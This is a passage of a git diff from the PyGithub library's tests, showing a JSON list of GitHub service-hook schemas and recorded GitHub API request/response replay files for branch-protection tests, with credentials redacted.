tring","group_id"],["string","token"]]},{"name":"copperegg","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","tag"],["boolean","master_only"],["string","api_key"]]},{"name":"cube","events":["push"],"supported_events":["push"],"schema":[["string","domain"],["string","project"],["string","token"]]},{"name":"depending","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"deployhq","events":["push"],"supported_events":["push"],"schema":[["string","deploy_hook_url"],["boolean","email_pusher"]]},{"name":"devaria","events":["push","member","public","issues","gollum"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_name"],["string","username"],["string","user_class_id"]]},{"name":"docker","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"ducksboard","events":["push","issues","fork","watch"],"supported_events":["fork","issues","push","watch"],"schema":[["string","webhook_key"]]},{"name":"email","events":["push"],"supported_events":["public","push"],"schema":[["string","address"],["password","secret"],["boolean","send_from_author"]]},{"name":"firebase","events":["push"],"supported_events":["push"],"schema":[["string","firebase"],["string","secret"]]},{"name":"fisheye","events":["push"],"supported_events":["push"],"schema":[["string","url_base"],["string","token"],["string","repository_name"]]},{"name":"flowdock","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"fogbugz","events":["push"],"supported_events":["push"],"schema":[["string","cvssubmit_url"],["string","fb_repoid"],["string","fb_version"]]},{"name":"freckle","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","project"],["string","token"]]},{"name":"friendfeed","events":["push"],"supported_events":["push"],"schema":[["string","nickname"],["string","remotekey"]]},{"name":"gemini","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","api_key"]]},{"name":"gemnasium","events":["push"],"supported_events":["push"],"schema":[["string","user"],["string","token"]]},{"name":"geocommit","events":["push"],"supported_events":["push"],"schema":[]},{"name":"getlocalization","events":["push"],"supported_events":["push"],"schema":[["string","project_name"],["string","project_token"]]},{"name":"gitlive","events":["push"],"supported_events":["push"],"schema":[]},{"name":"grmble","events":["push"],"supported_events":["push"],"schema":[["string","room_api_url"],["string","token"]]},{"name":"grouptalent","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"grove","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["push"],"schema":[["string","channel_token"]]},{"name":"habitualist","events":["push"],"supported_events":["push"],"schema":[]},{"name":"hakiri","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"]]},{"name":"hall","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","room_token"]]},{"name":"harvest","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","username"],["password","password"],["boolean","ssl"]]},{"name":"hipchat","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","auth_token"],["string","room"],["string","restrict_to_branch"],["boolean","notify"],["boolean","quiet_fork"],["boolean","quiet_watch"],["boolean","quiet_comments"]]},{"name":"hostedgraphite","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"hubcap","events":["push"],"supported_events":["push"],"schema":[]},{"name":"hubci","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"humbug","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","push","team_add","watch","pull_request_review_comment","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","email"],["string","api_key"],["string","stream"],["string","branches"]]},{"name":"icescrum","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","project_key"],["string","username"],["password","password"]]},{"name":"irc","events":["push","pull_request"],"supported_events":["commit_comment","issue_comment","issues","pull_request","pull_request_review_comment","push"],"schema":[["string","server"],["string","port"],["string","room"],["string","nick"],["string","branch_regexes"],["string","nickserv_password"],["password","password"],["boolean","ssl"],["boolean","message_without_join"],["boolean","no_colors"],["boolean","long_url"],["boolean","notice"]]},{"name":"irker","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["string","channels"],["boolean","long_url"],["boolean","color"],["boolean","full_commits"]]},{"name":"ironmq","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"],["string","queue_name"]]},{"name":"ironworker","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"],["string","queue_name"]]},{"name":"jabber","events":["push"],"supported_events":["push"],"schema":[["string","user"]]},{"name":"jaconda","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","room_id"],["string","room_token"],["boolean","digest"]]},{"name":"jeapie","events":["push","pull_request","commit_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"jenkins","events":["push"],"supported_events":["push"],"schema":[["string","jenkins_hook_url"]]},{"name":"jenkinsgit","events":["push"],"supported_events":["push"],"schema":[["string","jenkins_url"]]},{"name":"jira","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","api_version"],["string","username"],["password","password"]]},{"name":"jqueryplugins","events":["push"],"supported_events":["push"],"schema":[]},{"name":"kanbanery","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","project_token"]]},{"name":"kickoff","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","project_token"]]},{"name":"leanto","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"lechat","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","webhook_url"]]},{"name":"lighthouse","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","project_id"],["string","token"],["boolean","private"],["boolean","send_only_ticket_commits"]]},{"name":"lingohub","events":["push"],"supported_events":["push"],"schema":[["string","project_token"]]},{"name":"loggly","events":["push"],"supported_events":["push"],"schema":[["string","input_token"]]},{"name":"mantisbt","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","api_key"]]},{"name":"masterbranch","events":["push"],"supported_events":["push"],"schema":[]},{"name":"mqttpub","events":["push"],"supported_events":["push"],"schema":[["string","broker"],["string","port"],["string","topic"],["string","clientid"],["string","user"],["password","pass"],["boolean","retain"]]},{"name":"nma","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"nodejitsu","events":["push"],"supported_events":["push"],"schema":[["string","username"],["password","password"],["string","branch"],["string","endpoint"],["boolean","email_success_deploys"],["boolean","email_errors"]]},{"name":"notifo","events":["push"],"supported_events":["push"],"schema":[["string","subscribers"]]},{"name":"ontime","events":["push"],"supported_events":["push"],"schema":[["string","ontime_url"],["string","api_key"]]},{"name":"pachube","events":["push"],"supported_events":["push"],"schema":[["string","api_key"],["string","feed_id"],["string","track_branch"]]},{"name":"packagist","events":["push"],"supported_events":["push"],"schema":[["string","user"],["string","token"],["string","domain"]]},{"name":"phraseapp","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","auth_token"]]},{"name":"pivotaltracker","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","branch"],["string","endpoint"]]},{"name":"planbox","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"planio","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","api_key"]]},{"name":"prowl","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"puppetlinter","events":["push"],"supported_events":["push"],"schema":[]},{"name":"pushalot","events":["push"],"supported_events":["push"],"schema":[["string","authorization_token"]]},{"name":"pushover","events":["push"],"supported_events":["push"],"schema":[["string","user_key"],["string","device_name"]]},{"name":"pythonpackages","events":["push"],"supported_events":["push"],"schema":[]},{"name":"railsbp","events":["push"],"supported_events":["push"],"schema":[["string","railsbp_url"],["string","token"]]},{"name":"railsbrakeman","events":["push"],"supported_events":["push"],"schema":[["string","rails_brakeman_url"],["string","token"]]},{"name":"rally","events":["push"],"supported_events":["push"],"schema":[["string","server"],["string","username"],["string","workspace"],["string","repository"],["password","password"]]},{"name":"rapidpush","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"rationaljazzhub","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","username"],["password","password"],["string","override_server_url"]]},{"name":"rationalteamconcert","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","username"],["string","project_area_uuid"],["password","password"],["boolean","basic_authentication"],["boolean","no_verify_ssl"]]},{"name":"rdocinfo","events":["push"],"supported_events":["push"],"schema":[]},{"name":"readthedocs","events":["push"],"supported_events":["push"],"schema":[]},{"name":"redmine","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","api_key"],["boolean","fetch_commits"],["boolean","update_redmine_issues_about_commits"]]},{"name":"rubyforge","events":["push"],"supported_events":["push"],"schema":[["string","groupid"],["string","username"],["password","password"]]},{"name":"scrumdo","events":["push"],"supported_events":["push"],"schema":[["string","username"],["string","project_slug"],["password","password"]]},{"name":"shiningpanda","events":["push"],"supported_events":["push"],"schema":[["string","workspace"],["string","job"],["string","token"],["string","branches"],["string","parameters"]]},{"name":"sifter","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","token"]]},{"name":"simperium","events":["push","issues","issue_comment","commit_comment","pull_request","pull_request_review_comment","watch","fork","fork_apply","member","public","team_add","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","app_id"],["string","token"],["string","bucket"]]},{"name":"slatebox","events":["push"],"supported_events":["push"],"schema":[["string","app_id"],["string","token"]]},{"name":"snowyevening","events":["push"],"supported_events":["push"],"schema":[["string","project"],["string","api_key"]]},{"name":"socialcast","events":["push"],"supported_events":["push"],"schema":[["string","api_domain"],["string","group_id"],["string","username"],["password","password"]]},{"name":"softlayermessaging","events":["push"],"supported_events":["push"],"schema":[["string","account"],["string","user"],["string","name"],["password","key"],["boolean","topic"]]},{"name":"sourcemint","events":["push"],"supported_events":["push"],"schema":[]},{"name":"splendidbacon","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","token"]]},{"name":"sprintly","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","push","team_add","watch","pull_request_review_comment","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","email"],["string","api_key"],["string","product_id"]]},{"name":"sqsqueue","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","aws_access_key"],["string","sqs_queue_name"],["password","aws_secret_key"]]},{"name":"stackmob","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"statusnet","events":["push"],"supported_events":["push"],"schema":[["string","server"],["string","username"],["password","password"],["boolean","digest"]]},{"name":"talker","events":["push"],"supported_events":["issues","pull_request","push"],"schema":[["string","url"],["string","token"],["boolean","digest"]]},{"name":"targetprocess","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","username"],["password","password"]]},{"name":"tddium","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","override_url"]]},{"name":"teamcity","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","build_type_id"],["string","username"],["string","branches"],["password","password"]]},{"name":"tender","events":["issues"],"supported_events":["issues","pull_request"],"schema":[["string","domain"],["string","token"]]},{"name":"tenxer","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"testpilot","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"toggl","events":["push"],"supported_events":["push"],"schema":[["string","project"],["string","api_token"]]},{"name":"trac","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"]]},{"name":"trajectory","events":["push"],"supported_events":["pull_request","push"],"schema":[["string","api_key"]]},{"name":"travis","events":["push","pull_request","issue_comment","public","member"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","user"],["password","token"],["string","domain"]]},{"name":"trello","events":["push","pull_request"],"supported_events":["pull_request","push"],"schema":[["string","push_list_id"],["string","pull_request_list_id"],["string","ignore_regex"],["boolean","master_only"],["password","consumer_token"]]},{"name":"twilio","events":["push"],"supported_events":["push"],"schema":[["string","account_sid"],["string","from_phone"],["string","to_phone"],["boolean","master_only"],["password","auth_token"]]},{"name":"twitter","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","secret"],["boolean","digest"],["boolean","short_format"]]},{"name":"unfuddle","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","repo_id"],["string","username"],["password","password"],["boolean","httponly"]]},{"name":"web","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","url"],["string","secret"],["string","content_type"],["string","ssl_version"],["boolean","insecure_ssl"]]},{"name":"weblate","events":["push"],"supported_events":["push"],"schema":[["string","url"]]},{"name":"webtranslateit","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"yammer","events":["push","commit_comment","pull_request","pull_request_review_comment","public"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"youtrack","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","committers"],["string","username"],["string","branch"],["password","password"]]},{"name":"zendesk","events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","username"],["password","password"]]},{"name":"zohoprojects","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","token"]]}] - diff --git a/tests/ReplayData/Branch.setUp.txt b/tests/ReplayData/Branch.setUp.txt index 91c9687c0c..2d4c5d9987 100644 --- a/tests/ReplayData/Branch.setUp.txt +++ b/tests/ReplayData/Branch.setUp.txt @@ -52,4 +52,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '395'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46245273100a0cfb1e8339a2cfb122da"'), ('date', 'Sun, 13 May 2018 15:15:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name":"master","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":true,"protection":{"enabled":true},"protection_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection"} - diff --git a/tests/ReplayData/Branch.testAddRequiredSignatures.txt b/tests/ReplayData/Branch.testAddRequiredSignatures.txt index b7df3778f4..6d6aaab06b 100644 --- a/tests/ReplayData/Branch.testAddRequiredSignatures.txt +++ b/tests/ReplayData/Branch.testAddRequiredSignatures.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 18:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1540150652'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"dd58dd0663dbf118bceffe9dc228747e"'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.zzzax-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AA54:4C24:3031AD3:6A57E17:5BCCC987')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures","enabled":true} - diff --git a/tests/ReplayData/Branch.testAdminEnforcement.txt b/tests/ReplayData/Branch.testAdminEnforcement.txt index b43a486586..31ffa4a0c0 100644 --- a/tests/ReplayData/Branch.testAdminEnforcement.txt +++ b/tests/ReplayData/Branch.testAdminEnforcement.txt @@ -41,4 +41,3 @@ None 200 [('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"7e30c47ab395fea0aa2cb8f9c487c7be"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '92CC:2DD0:1360C19:194AF93:5AF58EA4'), ('date', 'Fri, 11 May 2018 12:38:01 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.038876'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526045876')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/enforce_admins","enabled":true} - diff --git a/tests/ReplayData/Branch.testAllowDeletions.txt b/tests/ReplayData/Branch.testAllowDeletions.txt new file mode 100644 index 0000000000..f1fa534364 --- /dev/null +++ b/tests/ReplayData/Branch.testAllowDeletions.txt @@ -0,0 +1,43 @@ +https +POST +api.github.com +None +/repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"5ebb2cbbb268262fba4eade23df2ed85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '935C:2DD6:186AD1F:1F9B1CD:5AF58E17'), ('date', 'Fri, 11 May 2018 12:35:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.035550'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] +'' + +https +GET +api.github.com +None +/repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"7e30c47ab395fea0aa2cb8f9c487c7be"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '92CC:2DD0:1360C19:194AF93:5AF58EA4'), ('date', 'Fri, 11 May 2018 12:38:01 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.038876'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526045876')] +{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/allow_deletions","enabled":true} + +https +DELETE +api.github.com +None +/repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] + + +https +GET +api.github.com +None +/repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"5ebb2cbbb268262fba4eade23df2ed85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '935C:2DD6:186AD1F:1F9B1CD:5AF58E17'), ('date', 'Fri, 11 May 2018 12:35:41 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.035550'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] +{"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/allow_deletion","enabled":false} diff --git a/tests/ReplayData/Branch.testCommitCommentsOnLine.txt b/tests/ReplayData/Branch.testCommitCommentsOnLine.txt index 62bfa68149..e10fa33977 100644 --- a/tests/ReplayData/Branch.testCommitCommentsOnLine.txt +++ b/tests/ReplayData/Branch.testCommitCommentsOnLine.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('content-length', '4322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"eb6946c4ceb5d978e884888f62d28344"'), ('date', 'Fri, 18 May 2012 20:12:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-18T08:46:09Z","position":null,"body":"probably a noob question: does this completion refer to autocompletion in IDE's/editors? \nI have observed that this is pretty erratic sometimes. I'm using PyDev+Eclipse.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to NamedUsers/AuthenticatedUser, really) does not show autocompletion to `g.get_user().get_repo()`. Is that by design? It makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347033","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347033","created_at":"2012-05-18T08:46:09Z","path":null,"line":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347033},{"updated_at":"2012-05-18T09:03:40Z","position":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestone 1.0.\n\nThanks 